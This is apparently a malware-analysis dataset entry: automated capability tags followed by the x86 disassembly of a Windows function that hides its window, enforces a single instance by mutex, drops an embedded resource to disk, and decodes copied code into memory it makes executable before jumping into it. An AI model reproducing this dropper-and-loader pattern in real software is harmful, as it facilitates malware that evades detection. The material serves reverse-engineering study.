Function at 0x4012f0
Capabilities:
Allocate or change rwx memory
Check os version
Create directory
Extract resource via kernel32 functions
Hide graphical window
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbe8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0xa0], 0
mov byte [ebp - 0x284], 0
xor eax, eax
mov dword [ebp - 0x283], eax
mov dword [ebp - 0x27f], eax
mov byte [ebp - 0x27b], al
mov dword [ebp - 0x98], 0
mov dword [ebp - 0xbb0], 0
mov dword [ebp - 0xa5c], 0
mov dword [ebp - 0xbac], 0
mov byte [ebp - 0x278], 0
push 0x103
push 0
lea ecx, [ebp - 0x277]
push ecx
call fcn.004025c0
add esp, 0xc
push str.E4C8EA9B_C05F_46F9_A021_7DA1FB1C6454
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
je 0x40139d
xor eax, eax
jmp 0x402113
mov dword [ebp - 0xc], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x948], 0x114
lea edx, [ebp - 0x948]
push edx
call dword [sym.imp.KERNEL32.DLL_GetVersionExW]
mov dword [ebp - 0x94c], 0
mov byte [ebp - 0xa58], 0
push 0x103
push 0
lea eax, [ebp - 0xa57]
push eax
call fcn.004025c0
add esp, 0xc
mov byte [ebp - 0x94], 0
xor ecx, ecx
mov dword [ebp - 0x93], ecx
mov dword [ebp - 0x8f], ecx
mov dword [ebp - 0x8b], ecx
mov dword [ebp - 0x87], ecx
mov word [ebp - 0x83], cx
mov byte [ebp - 0x81], cl
mov byte [ebp - 0x51c], 0
xor edx, edx
mov dword [ebp - 0x51b], edx
mov dword [ebp - 0x517], edx
mov dword [ebp - 0x513], edx
mov dword [ebp - 0x50f], edx
mov word [ebp - 0x50b], dx
mov byte [ebp - 0x509], dl
push 0x4030a8
push 0x65
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov dword [ebp - 0xad8], eax
mov eax, dword [ebp - 0xad8]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x520]
push ecx
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp - 0x94c], eax
mov edx, dword [ebp - 0xad8]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov dword [ebp - 0xa64], eax
mov dword [ebp - 8], 0
mov byte [ebp - 0x508], 0
push 0x103
push 0
lea eax, [ebp - 0x507]
push eax
call fcn.004025c0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x508]
push ecx
push 0x19
push 0x4030b0
mov ecx, 0x3f
call section..text
add esp, 8
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
push 0
lea edx, [ebp - 0x508]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push 0x104
lea eax, [ebp - 0x508]
push eax
push 0x28
push 0x4030f0
mov ecx, 0x4e
call section..text
add esp, 8
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
mov byte [ebp - 0x830], 0
push 0x103
push 0
lea ecx, [ebp - 0x82f]
push ecx
call fcn.004025c0
add esp, 0xc
lea edx, [ebp - 0x508]
push edx
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0
push 0x80
push 2
push 0
push 0
push 2
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x524], eax
mov dword [ebp - 0xad4], 0
push 0
lea edx, [ebp - 0xad4]
push edx
mov eax, dword [ebp - 0xa64]
push eax
mov ecx, dword [ebp - 0x94c]
push ecx
mov edx, dword [ebp - 0x524]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [ebp - 0x524]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov byte [ebp - 0x728], 0
push 0x1ff
push 0
lea ecx, [ebp - 0x727]
push ecx
call fcn.004025c0
add esp, 0xc
mov byte [ebp - 0x170], 0
push 0xc7
push 0
lea edx, [ebp - 0x16f]
push edx
call fcn.004025c0
add esp, 0xc
mov byte [ebp - 0xba8], 0
push 0xc7
push 0
lea eax, [ebp - 0xba7]
push eax
call fcn.004025c0
add esp, 0xc
cmp dword [ebp - 0x944], 5
jne 0x401d24
pushal
mov dword [ebp - 0xbdc], 0
mov eax, 0x401745
mov dword [ebp - 0xbdc], eax
mov dword [ebp - 0xbc8], 0
mov eax, 0x401b44
mov dword [ebp - 0xbc8], eax
mov ecx, dword [ebp - 0xbc8]
sub ecx, dword [ebp - 0xbdc]
add ecx, 0xff
mov dword [ebp - 0xbe0], ecx
push 4
push 0x3000
mov edx, dword [ebp - 0xbe0]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0xbc4], eax
mov eax, dword [ebp - 0xbc4]
add eax, dword [ebp - 0xbe0]
mov dword [ebp - 0xbd8], eax
mov ecx, 0x401b44
sub ecx, 0x401745
mov esi, 0x401745
mov edi, dword [ebp - 0xbc4]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0xbe0]
sub ecx, 0x16
push ecx
mov edx, dword [ebp - 0xbc4]
push edx
mov eax, dword [ebp - 0xbe0]
call fcn.004011f0
add esp, 8
mov dword [ebp - 0xbc0], 0
mov ecx, 0x401b44
sub ecx, dword [ebp - 0xbdc]
sub ecx, 0x16
mov dword [ebp - 0xbc0], ecx
mov eax, dword [ebp - 0xbc4]
add eax, dword [ebp - 0xbc0]
mov byte [eax], 0xbb
mov eax, 0x401b44
mov ebx, dword [ebp - 0xbc4]
add ebx, dword [ebp - 0xbc0]
add ebx, 1
mov dword [ebx], eax
mov ecx, dword [ebp - 0xbc4]
add ecx, dword [ebp - 0xbc0]
mov byte [ecx + 5], 0xff
mov edx, dword [ebp - 0xbc4]
add edx, dword [ebp - 0xbc0]
mov byte [edx + 6], 0xe3
mov dword [ebp - 0xbe8], 0
lea eax, [ebp - 0xbe8]
push eax
push 0x40
mov ecx, dword [ebp - 0xbe0]
push ecx
mov edx, dword [ebp - 0xbc4]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov ebx, dword [ebp - 0xbc4]
jmp ebx
push 0x68
push 0x403140
mov ecx, 0x8e
call section..text
add esp, 8
push eax
lea ecx, [ebp - 0x728]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea edx, [ebp - 0x830]
push edx
lea eax, [ebp - 0x728]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 5
push 0x4031d0
mov ecx, 0x2b
call section..text
add esp, 8
push eax
lea ecx, [ebp - 0x728]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
pushal
mov dword [ebp - 4], 0
mov eax, 0x401eb5
mov dword [ebp - 4], eax
mov dword [ebp - 0xadc], 0
mov eax, 0x401f2b
mov dword [ebp - 0xadc], eax
mov edx, dword [ebp - 0xadc]
sub edx, dword [ebp - 4]
add edx, 0xff
mov dword [ebp - 0x950], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x950]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x2f4], eax
mov ecx, dword [ebp - 0x2f4]
add ecx, dword [ebp - 0x950]
mov dword [ebp - 0xa60], ecx
mov ecx, 0x401f2b
sub ecx, 0x401eb5
mov esi, 0x401eb5
mov edi, dword [ebp - 0x2f4]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0x950]
sub edx, 0x16
push edx
mov eax, dword [ebp - 0x2f4]
push eax
mov eax, dword [ebp - 0x950]
call fcn.004011f0
add esp, 8
mov dword [ebp - 0x9c], 0
mov ecx, 0x401f2b
sub ecx, dword [ebp - 4]
sub ecx, 0x16
mov dword [ebp - 0x9c], ecx
mov ecx, dword [ebp - 0x2f4]
add ecx, dword [ebp - 0x9c]
mov byte [ecx], 0xbb
mov eax, 0x401f2b
mov ebx, dword [ebp - 0x2f4]
add ebx, dword [ebp - 0x9c]
add ebx, 1
mov dword [ebx], eax
mov edx, dword [ebp - 0x2f4]
add edx, dword [ebp - 0x9c]
mov byte [edx + 5], 0xff
mov eax, dword [ebp - 0x2f4]
add eax, dword [ebp - 0x9c]
mov byte [eax + 6], 0xe3
mov dword [ebp - 0xa4], 0
lea ecx, [ebp - 0xa4]
push ecx
push 0x40
mov edx, dword [ebp - 0x950]
push edx
mov eax, dword [ebp - 0x2f4]
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov ebx, dword [ebp - 0x2f4]
jmp ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00402126
mov esp, ebp
pop ebp
ret 0x10